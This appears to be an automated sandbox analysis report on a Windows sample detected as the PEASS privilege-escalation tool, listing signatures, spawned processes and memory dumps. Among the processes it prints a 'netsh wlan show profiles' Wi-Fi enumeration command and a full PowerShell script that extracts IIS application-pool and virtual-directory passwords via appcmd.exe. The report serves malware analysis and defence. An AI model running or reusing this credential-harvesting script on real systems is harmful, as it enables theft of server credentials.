Analysis
- max time kernel
149s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/09/2026, 03:38
General
- Target 2026-09-07_3859de5c86622ec84dfb50d2dc7ffa31_darkgate_elex_glassworm_hijackloader_icedid.exe
- Size 10.6MB
- Sample260909-d642ba1dnb
- SHA256 0fcefba867143acf352cf7926f4be9f183e989b17ad690eda201a18fd9fa488e
Malware Config
Signatures
- Family: PEASS, PEASS-ng, Peas
PEASS is an open-source tool for privilege escalation.
- Detects PEASS hacktool 2 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
- Detects executables manipulated with Fody 2 IoCs
- Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
- Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 2 IoCs
- Loads dropped DLL 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-09-07_3859de5c86622ec84dfb50d2dc7ffa31_darkgate_elex_glassworm_hijackloader_icedid.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-07_3859de5c86622ec84dfb50d2dc7ffa31_darkgate_elex_glassworm_hijackloader_icedid.exe"1⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Enumerates connected drives
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\systeminfo.exe"systeminfo.exe"2⤵
- Gathers system information
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C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }2⤵
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Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
sqlite.interop.dll
memory/3972-54-0x000001BDD0300000-0x000001BDD0322000-memory.dmp
memory/5704-25-0x0000021074180000-0x000002107418A000-memory.dmp
memory/5704-21-0x00000210741A0000-0x00000210741AA000-memory.dmp
memory/5704-2-0x0000021071940000-0x00000210723EC000-memory.dmp
memory/5704-8-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-9-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-10-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-11-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-12-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-13-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-14-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-18-0x00000210741C0000-0x000002107420A000-memory.dmp
memory/5704-17-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-16-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-29-0x0000021075220000-0x00000210753E2000-memory.dmp
memory/5704-19-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-28-0x0000021074440000-0x0000021074458000-memory.dmp
memory/5704-20-0x0000021074F20000-0x0000021074FD4000-memory.dmp
memory/5704-22-0x0000021074210000-0x0000021074236000-memory.dmp
memory/5704-23-0x00000210741B0000-0x00000210741B8000-memory.dmp
memory/5704-24-0x00000210742B0000-0x00000210742C8000-memory.dmp
memory/5704-0-0x00007FF9CF09F000-0x00007FF9CF0A0000-memory.dmp
memory/5704-26-0x0000021074240000-0x0000021074248000-memory.dmp
memory/5704-3-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-27-0x00000210729B0000-0x00000210729BA000-memory.dmp
memory/5704-15-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-30-0x0000021075920000-0x0000021075E48000-memory.dmp
memory/5704-31-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-32-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-33-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-34-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-35-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-36-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-37-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-38-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-39-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-40-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-41-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-44-0x00000210750D0000-0x00000210750EE000-memory.dmp
memory/5704-49-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-50-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-51-0x00000210771A0000-0x0000021077C4C000-memory.dmp
memory/5704-52-0x00000210751D0000-0x0000021075220000-memory.dmp
memory/5704-53-0x0000021075190000-0x000002107519A000-memory.dmp
memory/5704-1-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp
memory/5704-58-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp